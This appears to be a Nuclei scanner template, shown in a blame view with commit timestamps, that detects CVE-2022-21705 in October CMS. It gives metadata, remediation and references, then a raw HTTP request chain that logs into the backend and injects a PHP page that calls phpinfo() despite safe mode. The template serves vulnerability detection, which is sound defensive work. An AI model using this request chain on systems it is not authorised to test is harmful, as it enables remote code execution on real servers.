2022-09-08 13:28:46 +00:00
id : CVE-2022-21705
info :
2022-10-10 19:22:59 +00:00
name : October CMS - Remote Code Execution
2022-09-08 13:28:46 +00:00
author : iPhantasmic
severity : high
description : |
2022-10-10 19:22:59 +00:00
October CMS is susceptible to remote code execution. In affected versions, user input is not properly sanitized before rendering. An authenticated user with the permissions to create, modify, and delete website pages can bypass cms.safe_mode and cms.enableSafeMode in order to execute arbitrary code. This affects admin panels that rely on safe mode and restricted permissions.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 11:59:08 +00:00
remediation : |
The issue has been patched in Build 474 (1.0.474) and 1.1.10. Users unable to upgrade should apply https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe manually to installation.
2022-09-08 13:28:46 +00:00
reference :
- https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe
- https://github.com/octobercms/october/security/advisories/GHSA-79jw-2f46-wv22
- https://cyllective.com/blog/post/octobercms-cve-2022-21705/
2022-10-10 19:22:59 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-21705
2024-03-23 09:28:19 +00:00
- https://github.com/cyllective/CVEs
2022-09-08 13:28:46 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score : 7.2
cve-id : CVE-2022-21705
2023-10-19 10:38:59 +00:00
cwe-id : CWE-74,NVD-CWE-Other
2023-10-14 11:27:55 +00:00
epss-score : 0.00522
2024-03-23 09:28:19 +00:00
epss-percentile : 0.76405
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 5
2023-07-15 16:29:17 +00:00
vendor : octobercms
product : october
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,authenticated,rce,cms,octobercms,injection
2022-09-08 13:28:46 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-09-08 13:28:46 +00:00
- raw :
- | # to obtain session_key and token
GET /backend/backend/auth/signin HTTP/1.1
Host : {{Hostname}}
- | # to perform authentication and obtain admin cookies
POST /backend/backend/auth/signin HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
_session_key={{session_key}}&_token={{token}}&postback=1&login={{username}}&password={{password}}
- | # to inject php code in Markup editor and perform exploit
POST /backend/cms HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
X-OCTOBER-REQUEST-HANDLER : onSave
X-OCTOBER-REQUEST-PARTIALS :
X-Requested-With : XMLHttpRequest
_session_key={{session_key}}&_token={{token}}&settings%5Btitle%5D={{randstr}}&settings%5Burl%5D=%2F{{randstr}}&fileName={{randstr}}&settings%5Blayout%5D=&settings%5Bdescription%5D=&settings%5Bis_hidden%5D=0&settings%5Bmeta_title%5D=&settings%5Bmeta_description%5D=&markup=%3C%3Fphp%0D%0A%0D%0Afunction+onInit()+%7B%0D%0A++++phpinfo()%3B%0D%0A%7D%0D%0A%0D%0A%3F%3E%0D%0A%3D%3D%0D%0A&code=&templateType=page&templatePath=&theme=demo&templateMtime=&templateForceSave=0
- | # to obtain theme
POST /backend/cms HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
X-OCTOBER-REQUEST-HANDLER : onCreateTemplate
X-OCTOBER-REQUEST-PARTIALS :
X-Requested-With : XMLHttpRequest
_session_key={{session_key}}&_token={{token}}&search=&type=page
- | # to access the template page for generated exploit
POST /backend/cms HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
X-OCTOBER-REQUEST-HANDLER : onOpenTemplate
X-OCTOBER-REQUEST-PARTIALS :
X-Requested-With : XMLHttpRequest
_session_key={{session_key}}&_token={{token}}&search=&{{theme}}=demo&type=page&path={{randstr}}.htm
2023-07-15 16:29:17 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- 'function onInit()'
- 'phpinfo()'
- 'Safe mode is currently enabled. Editing the PHP code of CMS templates is disabled. To disable safe mode, set the `cms.enableSafeMode` configuration value to `false`.'
condition : and
# if exploit executes, phpinfo() should now be exposed at the /{{randstr}} endpoint, even though Safe mode is enabled
- type : status
status :
- 200
2022-09-08 13:28:46 +00:00
extractors :
- type : xpath
name : session_key
2023-07-15 16:29:17 +00:00
internal : true
2022-09-08 13:28:46 +00:00
xpath :
- "/html/body/div[1]/div/div[2]/div/div/form/input[1]"
2023-07-15 16:29:17 +00:00
attribute : value
# Obtain _session_key for current OctoberCMS session
2022-09-08 13:28:46 +00:00
- type : xpath
name : token
2023-07-15 16:29:17 +00:00
internal : true
2022-09-08 13:28:46 +00:00
xpath :
- "/html/body/div[1]/div/div[2]/div/div/form/input[2]"
2023-07-15 16:29:17 +00:00
attribute : value
# Obtain _token for current OctoberCMS session
2022-09-08 13:28:46 +00:00
- type : regex
name : theme
group : 1
regex :
- '<input\stype=\\"hidden\\"\svalue=\\"demo\\"\sname=\\"([^"]*)\\"'
internal : true
part : body
2023-10-14 11:27:55 +00:00
# Obtain current theme used for Markup editor of OctoberCMS
2024-03-25 11:57:16 +00:00
# digest: 4a0a004730450220230873840e0af05800a9a33faf2dea43947f4d8e1dfecd86a9a7b75b334ed49e022100f9396ae6565aee53feb50ae98f46ea2fdc5bcba488da4fc3c1667a3b0e9f03ff:922c64590222798bb761d5b6d8e72950